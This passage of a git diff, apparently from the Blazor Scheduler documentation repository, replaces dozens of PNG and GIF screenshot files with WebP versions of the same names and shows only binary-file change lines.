Binary files a/blazor/scheduler/images/blazor-scheduler-readonly-appointments.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-readonly-appointments.webp b/blazor/scheduler/images/blazor-scheduler-readonly-appointments.webp
new file mode 100644
index 0000000000..d9d17b96ad
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-readonly-appointments.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-remove-events.png b/blazor/scheduler/images/blazor-scheduler-remove-events.png
deleted file mode 100644
index c5c6f627d7..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-remove-events.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-remove-events.webp b/blazor/scheduler/images/blazor-scheduler-remove-events.webp
new file mode 100644
index 0000000000..8c0290ddc1
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-remove-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-by-date.png b/blazor/scheduler/images/blazor-scheduler-resource-by-date.png
deleted file mode 100644
index 0fd6e65585..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-by-date.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-by-date.webp b/blazor/scheduler/images/blazor-scheduler-resource-by-date.webp
new file mode 100644
index 0000000000..5c505ee2dd
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-by-date.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells-month-view.png b/blazor/scheduler/images/blazor-scheduler-resource-cells-month-view.png
deleted file mode 100644
index b53ac82b74..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-cells-month-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells-month-view.webp b/blazor/scheduler/images/blazor-scheduler-resource-cells-month-view.webp
new file mode 100644
index 0000000000..31f7ac01cf
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-cells-month-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-month-view.png b/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-month-view.png
deleted file mode 100644
index 1c35758647..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-month-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-month-view.webp b/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-month-view.webp
new file mode 100644
index 0000000000..a09c9acb30
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-month-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-view.png b/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-view.png
deleted file mode 100644
index 682b3367d3..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-view.webp b/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-view.webp
new file mode 100644
index 0000000000..c0666b931f
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-cells-timeline-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells.png b/blazor/scheduler/images/blazor-scheduler-resource-cells.png
deleted file mode 100644
index 8559b9e2e7..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-cells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-cells.webp b/blazor/scheduler/images/blazor-scheduler-resource-cells.webp
new file mode 100644
index 0000000000..b9a6f7b8a4
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-cells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-in-compact-mode.png b/blazor/scheduler/images/blazor-scheduler-resource-in-compact-mode.png
deleted file mode 100644
index f9430df085..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-in-compact-mode.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-in-compact-mode.webp b/blazor/scheduler/images/blazor-scheduler-resource-in-compact-mode.webp
new file mode 100644
index 0000000000..2982376346
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-in-compact-mode.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-timeline.png b/blazor/scheduler/images/blazor-scheduler-resource-timeline.png
deleted file mode 100644
index cd2e7dcf76..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-timeline.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-timeline.webp b/blazor/scheduler/images/blazor-scheduler-resource-timeline.webp
new file mode 100644
index 0000000000..4ef6fe1939
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-timeline.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-workdays.png b/blazor/scheduler/images/blazor-scheduler-resource-workdays.png
deleted file mode 100644
index 641024cc32..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resource-workdays.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resource-workdays.webp b/blazor/scheduler/images/blazor-scheduler-resource-workdays.webp
new file mode 100644
index 0000000000..140c4432f0
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resource-workdays.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resources-verticalview.png b/blazor/scheduler/images/blazor-scheduler-resources-verticalview.png
deleted file mode 100644
index d0a392aee8..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-resources-verticalview.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-resources-verticalview.webp b/blazor/scheduler/images/blazor-scheduler-resources-verticalview.webp
new file mode 100644
index 0000000000..52a34250ad
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-resources-verticalview.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-row-auto-height.png b/blazor/scheduler/images/blazor-scheduler-row-auto-height.png
deleted file mode 100644
index 5f809d0c40..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-row-auto-height.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-row-auto-height.webp b/blazor/scheduler/images/blazor-scheduler-row-auto-height.webp
new file mode 100644
index 0000000000..8a911a6e55
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-row-auto-height.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-rtl.png b/blazor/scheduler/images/blazor-scheduler-rtl.png
deleted file mode 100644
index 9b269458df..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-rtl.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-rtl.webp b/blazor/scheduler/images/blazor-scheduler-rtl.webp
new file mode 100644
index 0000000000..041ce4d458
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-rtl.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-scrolling.PNG b/blazor/scheduler/images/blazor-scheduler-scrolling.PNG
deleted file mode 100644
index 6cfb4c06b4..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-scrolling.PNG and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-scrolling.webp b/blazor/scheduler/images/blazor-scheduler-scrolling.webp
new file mode 100644
index 0000000000..16d52801bc
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-scrolling.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-search-nuget-package.PNG b/blazor/scheduler/images/blazor-scheduler-search-nuget-package.PNG
deleted file mode 100644
index 3e6174eb06..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-search-nuget-package.PNG and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-search-nuget-package.webp b/blazor/scheduler/images/blazor-scheduler-search-nuget-package.webp
new file mode 100644
index 0000000000..31bed7bb6a
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-search-nuget-package.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-selected-appointments.png b/blazor/scheduler/images/blazor-scheduler-selected-appointments.png
deleted file mode 100644
index 4e068a4852..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-selected-appointments.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-selected-appointments.webp b/blazor/scheduler/images/blazor-scheduler-selected-appointments.webp
new file mode 100644
index 0000000000..4745221771
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-selected-appointments.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-selected-cells.png b/blazor/scheduler/images/blazor-scheduler-selected-cells.png
deleted file mode 100644
index 2d23722e5e..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-selected-cells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-selected-cells.webp b/blazor/scheduler/images/blazor-scheduler-selected-cells.webp
new file mode 100644
index 0000000000..4d45675dc2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-selected-cells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-setWorkDays-resetWorkDays.png b/blazor/scheduler/images/blazor-scheduler-setWorkDays-resetWorkDays.png
deleted file mode 100644
index 29008379aa..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-setWorkDays-resetWorkDays.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-setWorkDays-resetWorkDays.webp b/blazor/scheduler/images/blazor-scheduler-setWorkDays-resetWorkDays.webp
new file mode 100644
index 0000000000..5fedeebb1c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-setWorkDays-resetWorkDays.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-sharedevents.png b/blazor/scheduler/images/blazor-scheduler-sharedevents.png
deleted file mode 100644
index 44a54ee7e1..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-sharedevents.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-sharedevents.webp b/blazor/scheduler/images/blazor-scheduler-sharedevents.webp
new file mode 100644
index 0000000000..00dbfd0970
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-sharedevents.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-singlelevel.png b/blazor/scheduler/images/blazor-scheduler-singlelevel.png
deleted file mode 100644
index 4e97f88fc5..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-singlelevel.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-singlelevel.webp b/blazor/scheduler/images/blazor-scheduler-singlelevel.webp
new file mode 100644
index 0000000000..17accda97e
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-singlelevel.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeformat.png b/blazor/scheduler/images/blazor-scheduler-timeformat.png
deleted file mode 100644
index 4742b57463..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeformat.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeformat.webp b/blazor/scheduler/images/blazor-scheduler-timeformat.webp
new file mode 100644
index 0000000000..3350bf8174
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeformat.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeline-month.png b/blazor/scheduler/images/blazor-scheduler-timeline-month.png
deleted file mode 100644
index d9715421a7..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeline-month.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeline-month.webp b/blazor/scheduler/images/blazor-scheduler-timeline-month.webp
new file mode 100644
index 0000000000..3ec3c4925d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeline-month.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeline-othermonth-workcells.png b/blazor/scheduler/images/blazor-scheduler-timeline-othermonth-workcells.png
deleted file mode 100644
index 2084bb506c..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeline-othermonth-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeline-othermonth-workcells.webp b/blazor/scheduler/images/blazor-scheduler-timeline-othermonth-workcells.webp
new file mode 100644
index 0000000000..0fddaaf92c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeline-othermonth-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeline-resource.png b/blazor/scheduler/images/blazor-scheduler-timeline-resource.png
deleted file mode 100644
index 1b58c39c9d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeline-resource.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeline-resource.webp b/blazor/scheduler/images/blazor-scheduler-timeline-resource.webp
new file mode 100644
index 0000000000..36d7032684
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeline-resource.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timelinemonth-workcells.png b/blazor/scheduler/images/blazor-scheduler-timelinemonth-workcells.png
deleted file mode 100644
index f1c8e477a7..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timelinemonth-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timelinemonth-workcells.webp b/blazor/scheduler/images/blazor-scheduler-timelinemonth-workcells.webp
new file mode 100644
index 0000000000..4eeef90757
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timelinemonth-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timelineview-workcells.png b/blazor/scheduler/images/blazor-scheduler-timelineview-workcells.png
deleted file mode 100644
index c728e5d007..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timelineview-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timelineview-workcells.webp b/blazor/scheduler/images/blazor-scheduler-timelineview-workcells.webp
new file mode 100644
index 0000000000..77f2335f03
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timelineview-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timelineyear-workcells.png b/blazor/scheduler/images/blazor-scheduler-timelineyear-workcells.png
deleted file mode 100644
index 80fde2dff9..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timelineyear-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timelineyear-workcells.webp b/blazor/scheduler/images/blazor-scheduler-timelineyear-workcells.webp
new file mode 100644
index 0000000000..acaa94a9b1
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timelineyear-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeslot-day-view.png b/blazor/scheduler/images/blazor-scheduler-timeslot-day-view.png
deleted file mode 100644
index 4459133606..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeslot-day-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeslot-day-view.webp b/blazor/scheduler/images/blazor-scheduler-timeslot-day-view.webp
new file mode 100644
index 0000000000..5a138d70ab
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeslot-day-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeslot-week-view.png b/blazor/scheduler/images/blazor-scheduler-timeslot-week-view.png
deleted file mode 100644
index 0047b1290d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeslot-week-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeslot-week-view.webp b/blazor/scheduler/images/blazor-scheduler-timeslot-week-view.webp
new file mode 100644
index 0000000000..87db19207b
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeslot-week-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeslot.png b/blazor/scheduler/images/blazor-scheduler-timeslot.png
deleted file mode 100644
index 03f12b5640..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-timeslot.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-timeslot.webp b/blazor/scheduler/images/blazor-scheduler-timeslot.webp
new file mode 100644
index 0000000000..75ebddb43d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-timeslot.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-toolbar-template.png b/blazor/scheduler/images/blazor-scheduler-toolbar-template.png
deleted file mode 100644
index 4cf2087c1a..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-toolbar-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-toolbar-template.webp b/blazor/scheduler/images/blazor-scheduler-toolbar-template.webp
new file mode 100644
index 0000000000..41b59f5abd
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-toolbar-template.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-updating-events.png b/blazor/scheduler/images/blazor-scheduler-updating-events.png
deleted file mode 100644
index 3ce4644508..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-updating-events.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-updating-events.webp b/blazor/scheduler/images/blazor-scheduler-updating-events.webp
new file mode 100644
index 0000000000..35712f2206
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-updating-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-validation.png b/blazor/scheduler/images/blazor-scheduler-validation.png
deleted file mode 100644
index 9353cee503..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-validation.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-validation.webp b/blazor/scheduler/images/blazor-scheduler-validation.webp
new file mode 100644
index 0000000000..6b6377622c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-validation.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-verticalview-workcells.png b/blazor/scheduler/images/blazor-scheduler-verticalview-workcells.png
deleted file mode 100644
index 7c96acec48..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-verticalview-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-verticalview-workcells.webp b/blazor/scheduler/images/blazor-scheduler-verticalview-workcells.webp
new file mode 100644
index 0000000000..7cdb7dd381
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-verticalview-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-view-port-height.png b/blazor/scheduler/images/blazor-scheduler-view-port-height.png
deleted file mode 100644
index ed91e413eb..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-view-port-height.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-view-port-height.webp b/blazor/scheduler/images/blazor-scheduler-view-port-height.webp
new file mode 100644
index 0000000000..50f4acd555
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-view-port-height.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-agenda.png b/blazor/scheduler/images/blazor-scheduler-views-agenda.png
deleted file mode 100644
index f1c441d150..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-agenda.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-agenda.webp b/blazor/scheduler/images/blazor-scheduler-views-agenda.webp
new file mode 100644
index 0000000000..330f09da6a
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-agenda.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-day.png b/blazor/scheduler/images/blazor-scheduler-views-day.png
deleted file mode 100644
index 81599fd42d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-day.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-day.webp b/blazor/scheduler/images/blazor-scheduler-views-day.webp
new file mode 100644
index 0000000000..e8bf695777
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-day.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-interval.png b/blazor/scheduler/images/blazor-scheduler-views-interval.png
deleted file mode 100644
index 6cfab4f4e0..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-interval.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-interval.webp b/blazor/scheduler/images/blazor-scheduler-views-interval.webp
new file mode 100644
index 0000000000..ceb075b9e9
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-interval.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-month.png b/blazor/scheduler/images/blazor-scheduler-views-month.png
deleted file mode 100644
index 2e6c4833b4..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-month.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-month.webp b/blazor/scheduler/images/blazor-scheduler-views-month.webp
new file mode 100644
index 0000000000..b11782a66f
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-month.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-monthagenda.png b/blazor/scheduler/images/blazor-scheduler-views-monthagenda.png
deleted file mode 100644
index b5185850e5..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-monthagenda.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-monthagenda.webp b/blazor/scheduler/images/blazor-scheduler-views-monthagenda.webp
new file mode 100644
index 0000000000..1d4c891989
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-monthagenda.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelinemonth.png b/blazor/scheduler/images/blazor-scheduler-views-timelinemonth.png
deleted file mode 100644
index fcec652d95..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-timelinemonth.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelinemonth.webp b/blazor/scheduler/images/blazor-scheduler-views-timelinemonth.webp
new file mode 100644
index 0000000000..925fa04e9b
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-timelinemonth.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelineweek.png b/blazor/scheduler/images/blazor-scheduler-views-timelineweek.png
deleted file mode 100644
index f2a30d792d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-timelineweek.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelineweek.webp b/blazor/scheduler/images/blazor-scheduler-views-timelineweek.webp
new file mode 100644
index 0000000000..daf6b0b801
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-timelineweek.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelineyear-firstmonth.png b/blazor/scheduler/images/blazor-scheduler-views-timelineyear-firstmonth.png
deleted file mode 100644
index 4933377a08..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-timelineyear-firstmonth.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelineyear-firstmonth.webp b/blazor/scheduler/images/blazor-scheduler-views-timelineyear-firstmonth.webp
new file mode 100644
index 0000000000..49177bb9bb
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-timelineyear-firstmonth.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelineyear.png b/blazor/scheduler/images/blazor-scheduler-views-timelineyear.png
deleted file mode 100644
index aea04739b1..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-timelineyear.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-timelineyear.webp b/blazor/scheduler/images/blazor-scheduler-views-timelineyear.webp
new file mode 100644
index 0000000000..27ff3fb6e3
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-timelineyear.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-week.png b/blazor/scheduler/images/blazor-scheduler-views-week.png
deleted file mode 100644
index 6dd4e52eb3..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-week.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-week.webp b/blazor/scheduler/images/blazor-scheduler-views-week.webp
new file mode 100644
index 0000000000..6afbce0457
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-week.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-workweek.png b/blazor/scheduler/images/blazor-scheduler-views-workweek.png
deleted file mode 100644
index d84d5802f7..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-views-workweek.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-views-workweek.webp b/blazor/scheduler/images/blazor-scheduler-views-workweek.webp
new file mode 100644
index 0000000000..e5982d8a62
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-views-workweek.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-virtualscrolling.gif b/blazor/scheduler/images/blazor-scheduler-virtualscrolling.gif
deleted file mode 100644
index b99bfd15cd..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-virtualscrolling.gif and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-virtualscrolling.webp b/blazor/scheduler/images/blazor-scheduler-virtualscrolling.webp
new file mode 100644
index 0000000000..baa3c531a7
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-virtualscrolling.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-week-firstday.png b/blazor/scheduler/images/blazor-scheduler-week-firstday.png
deleted file mode 100644
index 1a9853e5d6..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-week-firstday.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-week-firstday.webp b/blazor/scheduler/images/blazor-scheduler-week-firstday.webp
new file mode 100644
index 0000000000..2bb3ebebaa
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-week-firstday.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-weeknumber.png b/blazor/scheduler/images/blazor-scheduler-weeknumber.png
deleted file mode 100644
index 221843a631..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-weeknumber.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-weeknumber.webp b/blazor/scheduler/images/blazor-scheduler-weeknumber.webp
new file mode 100644
index 0000000000..735fa46d0d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-weeknumber.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-Day-cells-monthview.png b/blazor/scheduler/images/blazor-scheduler-work-Day-cells-monthview.png
deleted file mode 100644
index 057b832818..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-work-Day-cells-monthview.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-Day-cells-monthview.webp b/blazor/scheduler/images/blazor-scheduler-work-Day-cells-monthview.webp
new file mode 100644
index 0000000000..47fa996b2c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-work-Day-cells-monthview.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-day-cells-monthagenda-view.png b/blazor/scheduler/images/blazor-scheduler-work-day-cells-monthagenda-view.png
deleted file mode 100644
index c036685606..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-work-day-cells-monthagenda-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-day-cells-monthagenda-view.webp b/blazor/scheduler/images/blazor-scheduler-work-day-cells-monthagenda-view.webp
new file mode 100644
index 0000000000..8d49689579
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-work-day-cells-monthagenda-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-monthview.png b/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-monthview.png
deleted file mode 100644
index 25b3af6190..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-monthview.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-monthview.webp b/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-monthview.webp
new file mode 100644
index 0000000000..8f007f15ae
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-monthview.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-yearview.png b/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-yearview.png
deleted file mode 100644
index 573889de55..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-yearview.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-yearview.webp b/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-yearview.webp
new file mode 100644
index 0000000000..6e3c2d5ac2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-work-day-cells-timeline-yearview.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-hour-cells-timeline-view.png b/blazor/scheduler/images/blazor-scheduler-work-hour-cells-timeline-view.png
deleted file mode 100644
index fd6c197ac3..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-work-hour-cells-timeline-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-hour-cells-timeline-view.webp b/blazor/scheduler/images/blazor-scheduler-work-hour-cells-timeline-view.webp
new file mode 100644
index 0000000000..18062c0f9b
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-work-hour-cells-timeline-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-hour-cells-verticalview.png b/blazor/scheduler/images/blazor-scheduler-work-hour-cells-verticalview.png
deleted file mode 100644
index cf6cee16a2..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-work-hour-cells-verticalview.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-work-hour-cells-verticalview.webp b/blazor/scheduler/images/blazor-scheduler-work-hour-cells-verticalview.webp
new file mode 100644
index 0000000000..7a6ebb4cc3
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-work-hour-cells-verticalview.webp differ
